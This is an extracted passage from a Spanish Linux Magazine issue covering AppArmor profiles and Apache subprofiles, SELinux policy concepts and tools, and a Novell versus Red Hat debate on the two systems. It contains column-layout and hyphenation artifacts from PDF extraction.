perfil realmente enfatiza cómo son de peli-

grosas algunas de las acciones de las apli-

caciones. La aplicación utiliza obviamente

los ficheros con nombres predecibles en el

directorio /tmp (Línea 16) y realiza llama-

das a comandos externos de la shell (véase

la referencia a Bash en la Línea 6. También

se puede encontrar el comando tail en la

Línea 17).

Distinción de DirectoriosEl módulo mod_change_hat permite orga-

nizar los subperfiles de varios hosts virtua-

mod_apparmor). AppArmor permite a

los programas cambiar su contexto de

seguridad, aunque sea el servidor web

Apache el único programa que tiene

implementada esta característica en el

momento de esribir este artículo. Un per-

fil principal de una aplicación puede

tener un número arbitrario de subperfi-

les (denominados hat). La jerarquía está

restringida a una capa: los subperfiles no

pueden contener otros subperfiles.

Cambio de SombrerosYast tiene una interfaz gráfica para la

gestión de los subperfiles. La herra-

mienta de la línea de comandos es más

potente, pero la configuración con Yast

es más simple. Las siguientes secciones

utilizan la aplicación web Squidfire

(Figuras 1 y 6) para describir la variante

Yast. Squidfire es un script PHP que hace

que los ficheros de registro de Squid

sean accesibles y se pueda buscar en

ellos. El perfil de AppArmor proporcio-

nado para esta tarea, usr.bin.httpd2-pre-

fork, deniega a Apache, y con ello a

Squidfire, el acceso a todos los ficheros

de registro, como confirma el siguiente

mensaje /var/log/audit/audit.log:

type=APPARMOR msg=auditU

(1143872666.069:205): U

REJECTING r access to U

/var/log/squid (httpd2-preforkU

(14820) profile /usr/sbinU

/httpd2-prefork active U

DEFAULT_URI)

W W W . L I N U X - M A G A Z I N E . E S

Figura 1: Squidfire analizando los intentos de acceso registrados por Squid. Para restringir los

accesos a los ficheros de registro a esta aplicación web, Apache se ejecuta con

mod_change_hat para habilitar el soporte de AppArmor. De esta forma, el sistema de seguri-

dad conoce qué aplicación web está actualmente activa.

01 # vim:syntax=subdomain

02 # Last Modified: Sun Jan 22

10:16:55 2006

03 /opt/kde3/bin/kpdf

flags=(complain) {

04 #include

<abstractions/authentication>

05 #include <abstractions/base>

06 #include <abstractions/bash>

07 #include <abstractions/gnome>

08 #include <abstractions/kde>

09 #include

<abstractions/nameservice>

10 #include

<abstractions/user-write>

11

12 / r,

13 /etc r,

14 /etc/X11/.kstylerc.lock rw,

15

/etc/X11/.qt_plugins_3.3rc.lo

ck rw,

16 /etc/X11/.qtrc.lock rw,

17 /etc/exports r,

18 /etc/rpc r,

19 <I>[...]<I>

Listado 2: Perfil Kpdf

AppArmor • PORTADA

19Número 22

les a través de las directivas Location y

Directory. Los administradores pueden

indicarle al módulo la solución que prefie-

ren utilizando las directivas ImmDefaul-

tHatName y ImmHatNamedirectives.

El prefijo Imm es una reminiscencia de

las raíces de AppArmor, Immunix. En rea-

lidad, el módulo ha sido renombrado a

mod_apparmor en versiones posteriores,

siendo ahora las palabras reservadas

AAHatName y AADefaultHatName.

ImmDefaultHatName (o AADefaultHat-

Name) selecciona un perfil por defecto

para cada servidor virtual. Además, los

subperfiles pueden ser asignados a zonas

individuales utilizando las directivas Direc-

tory o Location.

Las siguientes líneas en la configuración

de Apache asignarían un “hat” a la aplica-

ción web Squidfire:

<Directory U

“/srv/www/htdocs/squid”>

ImmHatName squidfire

</Directory>

Habrá que llamar al subperfil ^squidfire

en vez de a ^squidfire/index.php (Línea 2

en el Listado 3).

AppArmor proporciona a los adminis-

tradores de sistemas una nueva solución

en el campo de la seguridad de servidores,

especialmente en entornos compartidos

de hosting donde múltiples clientes com-

parten un mismo servidor web.

La asignación de un “hat” estricto a

cada host virtual y la restricción del

acceso del “hat” a los ficheros pertene-

cientes a un único cliente, mitigarán el

peligro de los agujeros de seguridad en las

aplicaciones web de

los clientes sin poner

en peligro al resto de

los clientes. Es decir,

sería una buena idea

comprobar manual-

mente las políticas

para esto o crearlas

manualmente desde

cero, en vez de confiar

en el modo de

“queja”, algo que no

debe ser muy compli-

cado para la mayoría

de los administrado-

res.

ConclusionesAppArmor encierra a las aplicaciones críticas

en una caja de arena, restringiendo el acceso

a ficheros específicos y limitando al sistema

a ejecutar comandos específicos.

Si resulta que la aplicación contiene

alguna vulnerabilidad que permita a un ata-

cante acceder a la shell o le permita ejecutar

comandos con las credenciales de la víc-

tima, entonces AppArmor entra en acción.

No se le permite a la aplicación salirse de la

cárcel. Aunque la protección práctica pro-

porcionada por una herramienta como

AppArmor no elimina la vulnerabilidad, el

atacante no podrá explotar el agujero de

seguridad para hacerse con el control del sis-

tema.

Este principio protege a una máquina con-

tra los exploits que aun no se han detectado,

lo que lo hacé especialmente útil para pro-

gramas que sean accesibles desde la red o

programas que tengan que procesar datos

desde fuentes de poca confianza (emails,

imágenes, vídeo clips, documentos de ofi-

mática).

Las aplicaciones compatibles con

“change-hat” pueden incluso gestionar su

estado en tiempo de ejecución, aplicando

diferentes subperfiles según dicte la situa-

ción. Esto añade la posibilidad de definir

perfiles para aplicaciones web específicas en

los servidores web, aplicando reglas específi-

cas basándose en la URI, en los hosts virtua-

les o en la ruta de los directorios.

AppArmor ofrece una solución práctica

en el campo de la seguridad de las aplicacio-

nes Linux. La alternativa ofrecida por

AppArmor es una opción eficiente para los

usuarios que no quieran enredarse con la

complejidad adicional de sistemas de seguri-

dad tales como SELinux. Para saber más

sobre los méritos relativos a AppArmor y

SELinux, véase la comparación AppArmor

vs. SELinux de este mismo número de

Linux Magazzine. n

Figura 2: Para obtener los eventos de AppArmor hay que hacer clic

en “Scan system log” y el asistente sugerirá un perfil.

01 <I>[...]<I>

02 ^/squid/index.php {

03 #include <abstractions/bash>

04 #include

<abstractions/nameservice>

05

06 /bin/bash ixr,

07 /dev/tty rw,

08 /etc/ld.so.cache r,

09 /lib/ld-2.3.90.so ixr,

10 /lib/lib*so* r,

11

/srv/www/htdocs/squid/cache.inc.p

hp r,

12

/srv/www/htdocs/squid/config.inc.

php r,

13

/srv/www/htdocs/squid/default_con

fig.inc.php r,

14 /srv/www/htdocs/squid/index.php

r,

15

/srv/www/htdocs/squid/parse_squid

_row.inc.php r,

16 /tmp/access.log_1.3.0.incr,

17 /usr/bin/tail ixr,

18 /var/log/apache2/access_log w,

19 /var/log/squid r,

20 /var/log/squid/access.log r,

21 }

Listado 3: Subperfil de Apache[1] AppArmor: http://www.opensuse.org/

AppArmor

[2] Lista de correo de AppArmor: http://

forge.novell.com/mailman/listinfo/

apparmor-general

[3] AppArmor RPMs en Novell Forge:

http://forge.novell.com/modules/

xfmod/project/?apparmor

[4] Repositorio del Kernel: http://www.

kernel.org

[5] Parches para el kernel de AppArmor

de la imagen de Enero: http://forgeftp.

novell.com/apparmor/

Development%20-%20January%20Sn

apshot/

[6] Squidfire: http://squidfire.sourceforge.

net

[7] Systrace: http://www.systrace.org

RECURSOS

PORTADA • AppArmor

20 Número 22 W W W . L I N U X - M A G A Z I N E . E S

SELinux y otro sistema de seguridad simi-

lar reemplazan al sistema DAC con una

alternativa mucho más segura conocida

como Control de Acceso Obligatorio (MAC).

Un sistema MAC permite que el administra-

dor del sistema defina políticas que propor-

cionan un control mucho más preciso sobre

la capacidad del usuario para acceder a

recursos y modificar permisos. SELinux

mantiene también el control sobre el rango

de privilegios asignados a un proceso. Al

proceso no se le permite tener privilegios

que no necesite.

Si SELinux está implementado correcta-

mente, un intruso que consiga acceder al

sistema Linux se verá severamente limitado

en cuanto a las acciones que puede realizar

una vez dentro. Como veremos en este artí-

culo, SELinux proporciona un marco de

seguridad verdaderamente potente y versá-

til, si estamos dispuestos a lidiar con la com-

plejidad que pueda suponer conseguir un

sistema correctamente configurado.

Contexto de SeguridadSELinux usa contextos de seguridad como

criterio básico de acceso. El contexto con-

siste un una cuenta de usuario de SELinux

(no confundir con el usuario Unix), junto

con el rol de usuario y el tipo. SELinux

guarda el contexto de seguridad de los

archivos directamente en el sistema de

archivos, aunque este método sólo funciona

con Ext 3 y XFS en el momento de escribir

este artículo. Existen parches para Reiser FS,

pero JFS no está soportado todavía.

Si hacemos ls -Z obtendremos el contexto

de seguridad de un archivo: la Figura 1

muestra user_u:object_r:paper_t. El usuario

y grupo de Unix es spenneb, mientras que

SELinux identifica al usuario como user_u.

El rol del usuario es object_r y el tipo

paper_t. El sufijo para estos nombres indica

el componente de contexto. A los procesos

se les asigna también un contexto de seguri-

dad, que podemos visualizar si ejecutamos

ps -Z (véase la Figura 1).

Deniega TodoUno de los principios de SELinux es que

cada proceso está asociado con un type

(tipo). SELinux comienza por denegar

toda clase de acceso por defecto. Incluso

el acceso del dominio example_t al tipo

example_t está prohibido. Cada acción

debe ser autorizada explícitamente. La

SELinux es una adaptación del

kernel de Linux reforzada en

cuanto a seguridad, desarrollada

bajo los auspicios de la Agencia de Seguri-

dad Nacional (NSA) estadounidense. Según

la NSA, SELinux trabaja reforzando las polí-

ticas de control de acceso que confinan los

programas de usuario y los servidores del

sistema al mínimo nivel de privilegio que

necesiten para hacer su trabajo.

La seguridad de un sistema ordinario de

Linux se basa en un concepto conocido

como Control de Acceso Discrecional (DAC).

En un sistema DAC, al usuario se le concede

el acceso a un recurso (como un archivo o

un directorio) en función de sus credenciales

de usuario, y los usuarios tienen la discre-

ción de modificar los permisos de cualquier

recurso al que traten de controlar. Este

diseño proporciona a un potencial atacante

medios suficientes para lograr la entrada a

un sistema. Si el usuario root inicia el Adobe

Reader para acceder a un PDF de una fuente

no fiable, un atacante podría explotar una

vulnerabilidad para lanzar una shell de root,

incluso aunque las shells de root no tengan

nada que ver con lo que supuestamente

está haciendo Adobe Reader.

SELinux • PORTADA

21Número 22W W W . L I N U X - M A G A Z I N E . E S

Control de Acceso Obligatorio con SELinux

SEGURIDADSEGURIDADENDURECIDAENDURECIDA

SELinux ofrece un sistema

de Control de Acceso Obligato-

rio para Linux, si estás dispuesto a

entrar a fondo.

POR RALF SPENNEBERG

PORTADA • SELinux

22 Número 22 W W W . L I N U X - M A G A Z I N E . E S

política puede ser semejante a esta del

dominio emacs_t:

allow emacs_t paper_t:file

{create ioctl read getattr U

lock write append setattr};

Esto permite a los procesos del dominio

emacs_t realizar las operaciones entre cor-

chetes en los objetos de tipo paper_t. La

clase del objeto :file especifica que estos

objetos deben ser archivos normales.

Cambiar DominiosSi un usuario normal inicia el editor Emacs,

el proceso no usa el dominio emacs_t de

manera automática. De hecho, se requieren

permisos para cambiar los dominios, y el

proceso está automatizado. Para permitir

que esto ocurra, previamente una regla

define un punto de entrada al nuevo domi-

nio del binario del editor Emacs. El archivo

del programa necesita el tipo emacs_exec_t

(como etiqueta del sistema de archivos) y

SELinux requiere la siguiente regla:

allow emacs_t emacs_exec_t:U

file entrypoint;

SELinux permite ahora a los ejecutables de

tipo emacs_exec_t que entren en el dominio

emacs_t cuando se inicien. Hasta este

momento todo conforme, pero SELinux aún

tiene que permitir al llamante que efectúe

esta acción. Como el llamante se ubica en

otro dominio, se produce un cambio de

dominio cuando se inicia el proceso. Se

necesitan una regla de permiso y una regla

de transición de tipo para poder realizar esta

operación:

allow { userdomain } U

emacs_t:process transition;

type_transition { userdomain }U

emacs_exec_t:process emacs_t;

La regla allow permite a todos los procesos

que pertenezcan a un dominio de la lista

userdomain a lanzar nuevos procesos en el

dominio emacs_t. La regla de transición de

tipo que está a continuación especifica que

los procesos llamados serán asignados al

dominio emacs_t, en lugar de heredar el

dominio del llamante, en el caso de que el

archivo del programa sea del tipo

emacs_exec_t. Esto sólo se aplica si el lla-

mante pertenece a userdomain.

Para permitir a SELinux que despliegue

estas reglas en un sistema, todos los archi-

vos deben estar asignados al contexto ade-

cuado en un proceso que se denomina eti-

quetado. Archivos *.fc o de contexto de

archivos especifican qué archivo recibe qué

etiqueta:

/usr/bin/emacs(.*) — U

system_u:object_r:U

emacs_exec_t

Cuando un usuario en algún lugar del sis-

tema crea un archivo que coincide con el

patrón, SELinux le asigna el tipo de contexto

emacs_exec_t.

ComplejidadEste ejemplo demuestra claramente el con-

trol tan detallado de SELinux, y la consi-

guiente complejidad. Un administrador a

tiempo parcial no podría llevar el control.

Una política de SELinux puede alcanzar

fácilmente los 6MB (¡sólo en reglas, y en

ASCII!). Los desarrolladores han intentado

hacer algo para paliar el problema de la

complejidad desde hace bastante tiempo.

Fedora Core es una de las distribuciones

líderes con SELinux. Hasta la versión 4,

Fedora tenía dos políticas: Strict y Targeted.

Mientras que la política Strict implementaba

realmente un sistema MAC para cada pro-

ceso en el sistema, la política Targeted ins-

peccionaba algunos servicios que usaban

información potencialmente crítica, funda-

mentalmente servicios de red. El resto de

procesos de Fedora Core se ejecutaban en

un dominio especial unconfined_t igual al

de cualquier otro sistema sin SELinux.

A los procesos del dominio Unconfined se

les permite más o menos cualquier tipo de

acceso, ya que sólo son operativos los privi-

legios del DAC normal del sistema. El

método de SELinux es similar al de AppAr-

mor en este modo. Sin embargo, SELinux

en Fedora Core 4 aún necesita una política

de 2.25MB en ASCII en el modo Targeted

para alcanzar los niveles de detalle requeri-

dos.

AdministraciónLa estructura monolítica de las políticas

hace que sean difíciles de administrar. Los

cambios y añadidos a la política implican

siempre cambiar el código fuente y recom-

pilar el binario. Por supuesto, este tipo de

cambios es sólo para administradores.

Para facilitar las cosas a los administra-

dores de sistema, las políticas pueden con-

tener variables Boleanas para aquellos

valores que puedan cambiar en tiempo de

ejecución. Por ejemplo, la política Targeted

en Fedora Core 4 tiene al menos 95 varia-

bles que definen si SELinux monitoriza un

servicio y cómo se realizará esa monitoriza-

ción. Por ejemplo, la variable

httpd_can_network_connect especifica si al

servidor Web le está permitido establecer

conexiones de red por sí mismo a una base

de datos, por ejemplo. Las variables bolea-

Figura 1: SELinux asigna todos los archivos y procesos a un contexto de seguridad. El con-

texto y la política deciden qué tipo de acceso está permitido.

Figura 2: audit2allow le indica a SELinux que analice trazas de auditoría cuando han ocurrido

eventos que infringen la política.

nas le impedirán delegar tareas administra-

tivas a otros usuarios.

Política de ReferenciaLa distinción entre las políticas Strict y

Targeted plantea un problema: es

prácticamente imposible intercambiar

reglas entre políticas. Tresys ha desarrollado

la SELinux Reference Policy para solventar

el problema. La política de referencia de

SELinux tiene muchos objetivos, pero su

propósito más importante es alcanzar un

alto nivel de modularidad. La idea es dar a

los administradores la capacidad de cargar,

descargar y reemplazar módulos en tiempo

de ejecución. Para soportar la comunicación

entre módulos, cada módulo define su

propia interfaz. Para mejorar la usabilidad y

hacer que los módulos sean más fáciles de

comprender, cada módulo viene con su

propia documentación de la interfaz.

Podemos generar tanto una política Strict

como una poñitica Targeted desde la política

de referencia. Fedora Core 5 fue la primera

distribución en introducir esta nueva

tecnología.

Mientras que la política Targeted sólo

tiene dos módulos, base.pp y

enableaudit.pp, la política Strict comprende

no menos de 149 módulos binarios. En

cuanto a las dependencias, semodule carga

estos módulos.

Nuevos MódulosUn problema típico que aparece cuando

usamos SELinux es el de generar una nueva

política para un nuevo programa. Las exten-

siones como éstas ya son posibles con

módulos binarios, y esto elimina la necesi-

dad de pasarle el juego completo de reglas

puestas al día a SELinux. Un módulo com-

prende tres archivos:

• modul.fc

• modul.te

• modul.if

El archivo FC contiene los contextos del

archivo que definen cómo va a etiquetar SELi-

nux cada uno de los archivos. El archivo TE

contiene las reglas de ejecución del tipo. El

archivo IF es nuevo, y contiene la definición

de la interfaz del módulo y documentación

adjunta. Aunque el administrador puede escri-

bir estos archivos desde cero, Fedora Core 5

23Número 22W W W . L I N U X - M A G A Z I N E . E S

Figura 3: El IDE de SELinux, Slide, proporciona acceso al modular SELinux Reference Policy.

Slide está implementado como un plugin de Eclipse.

SELinux • PORTADASELinux • PORTADA

Aunque la seguridad multinivel (MLS) es

una de las características centrales de

SELinux, ésta se etiquetó como experi-

mental durante muchos meses. La

política de referencia es la primera política

MLS y soporta el modelo Bell-La-Padula,

que se inventó en 1973 para ayudar a

mantener secretos militares. Básica-

mente, el modelo asigna alcance y capaci-

dades a sujetos, mientras que los objetos

tienen alcance y rankings.

El modelo asegura que un objeto dentro

de su alcance puede ser leído sólo por

sujetos con capacidades iguales o may-

ores. Sólo se puede escribir en los objetos

si el sujeto tiene igual o menor ranking.

Cuando una persona con un rank mayor

crea un archivo, este archivo sólo puede

leerse por personas con igual o mayor

autorización para eavitar que información

sensible caiga en las manos equivocadas.

Para implementar MLS, el contexto de

seguridad tiene dos parámetros adi-

cionales: niveles MLS (Levels) desde el s0

al s15 y rangos MLS (Ranges) desde el c0

al c255.

Seguridad Multicategoría

Como casi nadie necesita un diseño MLS,

aparte de las fuerzas armadas y servicios

secretos, los desarrolladores han añadido

el concepto de Seguridad de Multicate-

goría (MCS) a su política de referencia. El

MCS suaviza la funcionalidad MLS. Todos

los objetos se asignan al nivel s0 de MLS.

El administrador del sistema puede selec-

cionar libremente las categorías para

otros objetos. Para respaldar los números

con descripciones intuitivas, los admin-

istradores pueden incluso asignar nom-

bres a estas categorías en el archivo

setrans.conf:

s0:c0=Confidential

s0:c1=Development

s0:c2=HumanResources

Después de asignar nombres a las cate-

gorías, el comando chcat entiende los

nombres y las categorías y puede asig-

narlas a archivos:

chcat — +Confidential U

/tmp/file.txt

Mientras que el archivo tenía anterior-

mente un contexto de seguridad de

root:object_r:tmp_t:, ahora tiene un con-

texto de root:object_r:tmp_t:Confidential.

El comando chcat puede asignar también

usuarios a una categoría. Cada archivo

que cree el usuario desde ese momento

tendrá la categoría MCS. A los usuarios

sin asignación de categoría no se les per-

mite acceder al archivo. Mientras que esta

función es similar a ACLs (Access Control

Lists) de Posix, MCS tendrá más fun-

cionalidades en el futuro. Por ejemplo, un

sistema de impresión puede provocar

una advertencia al imprimir algún docu-

mento concreto, en función de la cate-

goría. Un cliente de correo electrónico

podría negarse a enviar documentos

desde una categoría específica.

Seguridad Multinivel

referencia, soporta también la generación

directa de módulos. La Figura 2 muestra

audit2allow en plena acción.

Si Auditd no se está ejecutando, SELinux

envía mensajes a /var/log/messages. La

orden semodule -i local.pp carga y ejecuta

en ese momento el nuevo módulo. Es posi-

ble realizar cambios a mano al archivo TE,

algo razonable, aunque puede ser una

buena idea verificar los resultados con cui-

dado.

MAC por MACEn el momento de escribir este artículo, el

administrador del sistema es el único que

puede cambiar y recargar las políticas de

SELinux. Mientras que este era el único

método con el diseño monolítico de la tec-

nología antigua soportada, la nueva política

de referencia con su estructura modular

ofrece al administrador la posibilidad de

asignar diferentes atributos de acceso a los

archivos de políticas de módulos.

Hasta este punto, un proceso con la capa-

cidad de cargar una política tiene también la

capacidad de modificar la política al com-

pleto. La estructura modular soporta ahora

un nuevo método, para el que Tresys Tech-

nology ha desarrollado un servidor de polí-

ticas para SELinux: el SELinux Policy Server.

Junto al los objetivos ya mencionados, el

servidor de políticas trata de alcanzar otras

dos metas: soportar nuevos objetos admi-

nistrados por aplicaciones en espacio de

usuario, incluyendo bases de datos y tablas

de bases de datos. Además, el servidor de

políticas va a soportar una infraestructura

mejorada para la administración centrali-

zada de políticas en múltiples sistemas.

La versión previa ya soporta la idea de

políticas que permiten cambios específicos

en sí mismas. Los desarrolladores han intro-

ducido el nuevo comando policycon que

aplica un contexto de seguridad a módulos

de políticas concretas. Entonces es posible

permitir a nuestra propia política que se

modifique a sí misma. De nuevo, el

comando semodule administra esto, comu-

nicándose con el servidor de políticas en

espacio de usuario para ello.

Los programadores aún desaconsejan eje-

cutar un servidor de políticas en entornos

de producción, y desafortunadamente, el

ritmo de desarrollo se ha ralentizado un

poco últimamente.

DesarrolloAlrededor de SELinux se ha formado una

impresionante comunidad de desarrollado-

res y usuarios. El SELinux Symposium [7]

tiene lugar cada dos años. El de este año tuvo

lugar en febrero, con 29 conferencias y 5 tuto-

riales acerca de SELinux, a lo largo de 3 días.

Las diapositivas de las conferencias están dis-

ponibles desde la página Web del simposio.

El trabajo de desarrollo actual se está con-

centrando en añadir el entorno de trabajo

IPsec a SELinux. Esto le permitiría monitorizar

el tráfico de información a la red. Algunos de

estos desarrollo han visto la luz en el kernel

2.6.16 [10].

Muchos administradores están preocupa-

dos por introducir vulnerabilidades al usar

SELinux. La enormes políticas, que son

complicadas de comprender en su integri-

dad, contribuyen a esta sensación de incer-

tidumbre. Sin embargo, un sistema MAC

como SELinux está destinado a mejorar la

seguridad de nuestro sistema si se

configura adecuadamente. Y recuerde que

SELinux no puede dar privilegios a un pro-

ceso que no tuviera sin el sistema MAC.

SELinux no es el único responsable de per-

mitir o denegar accesos. El sistema DAC

normal de Linux tiene también que aprobar

el tipo de acceso en función de los criterios

de herencia.

Esperemos que los desarrolladores de

SELinux continúen trabajando duro en la

usabilidad una vez que ya han puesto las

bases para un sistema más usable,

mucho más modularizado y con servidor

de políticas. �

tiene un script llamado policygentool para ayu-

darnos a simplificar el proceso.

La política de generación de herramientas

espera que el administrador del sistema pro-

porcione el nombre del módulo a crear,

junto con la ruta al programa que gobierna

el módulo. La herramienta realiza al admi-

nistrador algunas preguntas más antes de

crear los archivos de configuración y el

módulo ya completado.

Si preferimos la opción de crear los

módulos de manera manual desde los tres

archivos, podemos ejecutar checkmodule

para compilar el archivo TE, y usar entonces

semodule_package para compilar el archivo

del módulo foo.pp, que podemos cargar eje-

cutando semodule -i foo.pp.

Modo de EntrenamientoEn lugar de intentar compilar de manera

manual los detalles de una política, tiene

más sentido crear reglas basadas en mensa-

jes de auditoría registrados por acceso dene-

gado. Y esto es exactamente lo que hace el

comando audit2allow. De hecho, lo que

hace es implementar una especie de modo

de entrenamiento. El resultado es reglas

SELinux que permiten exactamente los

tipos de acceso que la herramienta estaba

prohibiendo y registrando.

Con gran sensatez, el comando

audit2allow se ejecuta en modo permisivo

de SELinux, en el que el sistema simple-

mente registra las violaciones de la política

sin denegarlas. Una versión del comando

audit2allow modificada para la política de

24 Número 22 W W W . L I N U X - M A G A Z I N E . E S

PORTADA • SELinux

[1] Página de la NSA sobre SELinux:

http://www.nsa.gov/selinux/

[2] SELinux para distribuciones: http://

selinux.sourceforge.net

[3] SELinux Reference Policy: http://

serefpolicy.sourceforge.net

[4] Tresys: http://www.tresys.com

[5] SLIDE: http://selinux-ide.sourceforge.

net

[6] Servidor de políticas de SELinux:

http://sepolicy-server.sourceforge.net

[7] SELinux Symposium: http://www.

selinux-symposium.org

[8] SLIDE: http://www.tresys.com/files/

eclipse-update/

[9] Introducción a MCS: http://

james-morris.livejournal.com/8228.

html

[10] SELinux para IPsec: http://marc.

theaimsgroup.com/

?l=linux-netdev&m=11323409701113

3&w=2

RECURSOS

Hay un buen número de interfaces gráficas

disponibles para la administración de SELi-

nux. Slide (véase Figura 3) es el primer GUI

para la política de referencia. Tresys Tech-

nology ha implementado este IDE como

un plugin de Eclipse que soporta el desta-

cado de sintaxis, asistentes y autocomple-

tado de etiquetas predefinidas en la interfaz

del módulo. La instalación requiere el SDK

3.1 de Eclipse, la política de referencia y las

SE Tools. La manera más fácil de instalar

Slide es a través de un RPM o directamente

usando Eclipse desde su página Web [8].

Tras la instalación, deberíamos tener un

IDE bien definido y ordenado que tiene

algún punto flaco, pero que aún así nos

hace el trabajo mucho más llevadero, aun-

que está sólo en la versión 0.1.0.

IDEs

rente. AppArmor proporciona seguridad anivel de aplicaciones, protegiéndolas contradefectos latentes y protegiendo al sistemacompleto contra amenazas particulares comolos ataques de red, protegiendo a todas lasaplicaciones que hacen de interfaz de red.SELinux, por el contrario, se encarga de todoel sistema, incluyendo propiedades como losflujos de información. Paga el precio de lacomplejidad del software resultante. La restric-tiva política que SELinux pro-porcionó al principio erademasiado estricta para serútil y por ello se ha idomoviendo hacia un modeloparecido al de AppArmor,con políticas orientadas alobjetivo que simulan elmodelo de control de accesopor aplicaciones de AppAr-mor. Ésta última permite alos administradores confinarlas aplicaciones en términos

familiares: se especifica la aplicación que sedesea confinar y los ficheros que van a seraccedidos con sus rutas absolutas, seguidospor los modos familiares de acceso de lecturay escritura. Se pueden realizar autorizacionesde acceso a grupos de ficheros utilizando loscomodines típicos de la shell, por ejemplo/home/*/public_html/*.*.html r permite elacceso a todos los ficheros .html en los direc-torios public_html de todo el mundo.

Novell y RedHat están actualmente enplena guerra para establecer sus res-pectivos productos como sistemas de

protección Linux. Mientras RedHat adoptóhace unos años SELinux, Novell ha presen-tado su sistema de protección AppArmor trasadquirir Immunix. Ambos se presentan conlicencia GPL y comparten un objetivo común:hacer que Linux sea más seguro y proporcio-nar a los administradores un mayor controlsobre los privilegios de las aplicaciones.

Le hemos pedido a los representantes deNovell y Red Hat que nos expliquen por quésus sistemas de seguridad son los mejores.Crispin Cowan, que llegó a Novell desdeImmunix, nos expondrá primero las ventajasde AppArmor. Luego, Daniel Riek explicarápor qué Red Hat apuesta por SELinux.

Crispin Cowan, NovellAppArmor [1] y SELinux comparten los mis-mos objetivos de mejorar la seguridad deLinux, pero la forma de llevarlo a cabo es dife-

AppArmor vs. SELinux • PORTADA

25Número 22W W W . L I N U X - M A G A Z I N E . E S

Los expertos en seguridad de Novell y Red Hat cara a cara con AppArmor y SELinux

APPARMOR VSSELINUX¿Security Enhanced Linux o AppArmor? Linux Magazine ha invitado a dos personajes bien conocidos de Red

Hat y Novell para debatir los méritos de sus sistemas de seguridad. POR ACHIM LEITNER

Figura 1: Crispin Cowan: “La

simplicidad es el alma de la

seguridad…SELinux ha sido

diseñado para satisfacer

los deseos de la NSA para

las políticas complejas

arbitrarias a expensas del

uso… AppArmor fue dise-

ñado para el uso, cono-

ciendo las necesidades de

la mayoría de los usuarios

Linux”.

seguridad no se despliegue del todo y SELinux sedeshabilita con frecuencia cuando los usuariosencuentran que la política es difícil de gestionar.AppArmor se diseñó para que fuese fácil deutilizar, para adaptarse a las necesidades de lamayoría de los usuarios de Linux, ya seandomésticos o profesionales. Tan sólo hay queprobarlo por uno mismo: AppArmor estádisponible para Slackware, Ubuntu, Gentoo, RedHat, Pardus y se encuentra integrado en todas lasversiones nuevas de Suse Linux para lasarquitecturas x86, x86-64, Itanium, Power y lasseries Z.

Daniel Riek, Red HatSELinux aplica un control de acceso estrictobasado en MAC a nivel del kernel (véase el artí-culo sobre SELinux), mitigando el impacto de losataques que tengan éxito, garantizando la confi-dencialidad de los datos y cubriendo la demandade seguridad compleja gracias a los cambios dedominio dependientes del contexto.

La primera empresa que anunció su soporteen productos comerciales fue Novell, aunqueesto no significó que ellos proporcionaran unapolítica adecuada para su uso en sistemas de pro-ducción. En este punto, la política no era ade-cuada para un mercado amplio: demasiadoestricta y demasiadas restricciones para las aplica-ciones de usuario. Fue Red Hat quien lanzó la pri-mera versión madura del producto y lista para uti-lizarse en sistemas de producción. Cada instala-ción de Red Hat Enterprise Linux 4 y Fedora,habilita SELinux para los servicios de red centra-les por defecto.

La Comunidad GlobalSELinux está soportada por una comunidadamplia y activa. Además de los usuarios nocomerciales y los proveedores, la comunidadincluye a Red Hat, IBM, HP, NSA, DOD, Tresys yTrusted Computing Systems. Todas estas organi-zaciones cooperan en la implantación de políticasseguras, desarrollando una infraestructurapotente de auditoría y herramientas de desarrollode políticas [4], proporcionando soporte ante losproblemas e informando a los usuarios.

En contraste con esto, Novell abandonó el pro-yecto SELinux el año pasado y empezó a promo-cionar AppArmor, que adquirió recientemente deImmunix, como una alternativa más sencilla. Envez de investigar en cooperación con la comuni-dad OSS y ayudar a hacer que SELinux sea másfácil de utilizar, decidió dividir la arquitectura deseguridad de Linux y pasarle la responsabilidad alos desarrolladores y usuarios, en una soluciónque recuerda Dan Walsh, el presidente dedesarrollo de SELinux en Red Hat, y otros, de losproblemas de Unix [5].

PORTADA • AppArmor vs. SELinux

26 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Por el contrario, SELinux aplica etiquetas a losficheros y a los procesos, y define las políticas deseguridad en términos de qué etiquetas puedenaccederse desde otras etiquetas. Los controlesde acceso basados en etiquetas es una técnicaestablecida desde 1970, sin embargo, las etique-tas generalmente ocultan la facilidad de uso:• Hay que etiquetar el sistema de ficheros y

crear políticas de seguridad en pasos separa-dos, creando dependencias circulares para elusuario entre las especificaciones de etiquetasy las especificaciones de las políticas.

• Algunas aplicaciones como tar no preservanlas etiquetas, así que los datos archivados yrestaurados con tar perderán sus etiquetas.

• Los sistemas de ficheros NFS no soportan eti-quetas, así que el sistema de ficheros al com-pleto obtiene una única etiqueta. Por ellotodos los sistemas de ficheros de red obtienenuna política de todo o nada: cada aplicaciónpodrá o bien acceder a todo el sistema deficheros o bien no acceder a él.

La simplicidad es el alma de la seguridad:cuanto más complejo sea el sistema, más proba-bilidades habrá de que esté mal configurado. Ylo peor de todo, si la política de seguridad no secomprende, entonces no se puede decir que seauna política en absoluto; es una caja negra quese espera que proporcione alguna protección,pero sin saberlo realmente.

SencillezAppArmor es considerablemente más sencilloque SELinux. Esto puede verse en el vídeo deFosdem [2], donde una política para Apachese realiza en cinco minutos. El fichero de polí-tica de AppArmor para Apache tiene 133líneas, mientras que el correspondiente a lapolítica de Apache de SELinux tiene 826líneas. Magnus Runesson informó que pudoportar AppArmor a Ubuntu en menos tiempodel que le llevó comprender y modificar lapolítica de SELinux.

A pesar de la relativa simplicidad de AppAr-mor, puede también proporcionar una protec-ción de seguridad que SELinux no puede,ofreciendo confinamiento de subprocesos queforman parte de un proceso, algo que SELinuxacaba de incorporar. Sin embargo, AppArmortambién viene con un módulo para que Apa-che pueda usar esta característica, de modoque los usuarios puedan crear perfiles deAppArmor para elementos tan específicoscomo la ejecución de un script de perl pormod_perl o incluso una página PHP indivi-dual. No conozco otra tecnología que puedaconfinar páginas PHP individuales.

Sin Necesidad de CambiosAppArmor es transparente a las aplicaciones.No hay que realizar modificaciones a las apli-caciones para utilizarlo, excepto para el confi-namiento de subprocesos, que requiere algode cooperación del proceso protegido. Esacooperación se consigue utilizando unmódulo si la aplicación soporta módulos. SiAppArmor se elimina de forma abrupta, el sis-tema continua funcionando idénticamente dela misma forma que lo hacía con él, exceptoque ahora será más vulnerable a los ataques.

